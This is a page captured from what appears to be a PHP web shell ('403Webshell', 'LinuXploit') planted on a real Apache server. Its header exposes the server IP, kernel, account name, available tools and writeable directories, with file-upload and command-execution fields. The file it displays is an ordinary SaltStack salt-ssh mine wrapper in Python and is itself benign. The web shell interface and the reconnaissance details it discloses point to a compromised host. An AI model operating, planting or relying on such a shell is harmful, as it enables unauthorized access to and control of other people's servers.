403Webshell
Server IP : 198.38.94.13  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux d4744.dxb1.stableserver.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : revivere ( 1140)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/saltstack/salt/lib/python3.10/site-packages/salt/client/ssh/wrapper/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/saltstack/salt/lib/python3.10/site-packages/salt/client/ssh/wrapper/mine.py
"""
Wrapper function for mine operations for salt-ssh

.. versionadded:: 2015.5.0
"""

import copy

import salt.client.ssh


def get(tgt, fun, tgt_type="glob", roster="flat"):
    """
    Get data from the mine based on the target, function and tgt_type

    This will actually run the function on all targeted minions (like
    publish.publish), as salt-ssh clients can't update the mine themselves.

    We will look for mine_functions in the roster, pillar, and master config,
    in that order, looking for a match for the defined function

    Targets can be matched based on any standard matching system that can be
    matched on the defined roster (in salt-ssh) via these keywords::

    CLI Example:

    .. code-block:: bash

        salt-ssh '*' mine.get '*' network.interfaces
        salt-ssh '*' mine.get 'myminion' network.interfaces roster=flat
        salt-ssh '*' mine.get '192.168.5.0' network.ipaddrs roster=scan
    """
    # Set up opts for the SSH object
    opts = copy.deepcopy(__context__["master_opts"])
    minopts = copy.deepcopy(__opts__)
    opts.update(minopts)
    if roster:
        opts["roster"] = roster
    opts["argv"] = [fun]
    opts["selected_target_option"] = tgt_type
    opts["tgt"] = tgt
    opts["arg"] = []

    # Create the SSH object to handle the actual call
    ssh = salt.client.ssh.SSH(opts)

    # Run salt-ssh to get the minion returns
    rets = {}
    for ret in ssh.run_iter(mine=True):
        rets.update(ret)

    cret = {}
    for host in rets:
        if "return" in rets[host]:
            cret[host] = rets[host]["return"]
        else:
            cret[host] = rets[host]
    return cret

Youez - 2016 - github.com/yon3zu
LinuXploit